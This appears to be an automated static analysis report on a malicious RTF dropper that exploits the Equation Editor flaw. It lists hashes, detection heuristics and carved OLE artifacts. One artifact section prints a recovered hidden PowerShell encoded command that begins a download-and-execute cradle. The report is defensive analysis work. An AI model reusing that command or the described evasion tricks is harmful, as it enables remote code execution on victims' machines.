Malicious RTF — malware analysis report

Static analysis result for SHA-256 9be9af65ce20e73c…

MALICIOUS

RTF

65.5 KB First seen: 2019-12-10
MD5: e3b0068916797b4f8de6daa046979532 SHA-1: 28dcc8f981dbd2a842364546844cd0d4afb5a254 SHA-256: 9be9af65ce20e73c3bffcff6abec1f8ef719245a49e0c5069471891935a036ab
240 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.001 PowerShell

The RTF file contains embedded OLE objects and specifically triggers the Equation Editor vulnerability, a known method for executing arbitrary code. Static triage indicates the presence of PowerShell encoded commands and shellcode, suggesting the file acts as a dropper for a second-stage payload. The ClamAV detection name further supports this dropper functionality.

Heuristics 6

  • Split hex Equation Editor ProgID + OLE object critical CVE likely RTF_EQUATION_EDITOR
    RTF embeds the Equation.3 ProgID as hex bytes near OLE object activation and splits the byte stream with whitespace or an ignorable RTF group. This is an Equation Editor OLE activation surface commonly used by CVE-2017-11882 / CVE-2018-0802 exploit documents.
  • ClamAV: Rtf.Dropper.Agent-7381786-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-7381786-0
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 29561 bytes
SHA-256: 6f5a4a9207290e786ec1c4dbeb8fa85952fba6fe7d96c6a16e504b1ac3ea77e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell").Run("POwErshell -noprofile -noni -W Hidden -e aQBlAHgAIAAoACgAbgBlAHcALQBPAGIASgBlAGMAVAAgAFMAeQBzAFQAZQBtAC4AbgBlAFQALgBXAGUAQgBDAGwASQBlAE4AdAApAC4AZ Carved artifact contains a PowerShell -EncodedCommand style payload.
objdata_01_off0000ef61.bin rtf-objdata-decoded RTF \objdata at offset 0xEF61 1726 bytes
SHA-256: dad6ef7997acc21225b71bae65c485101ec83870844404b5bfba242c1827643e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS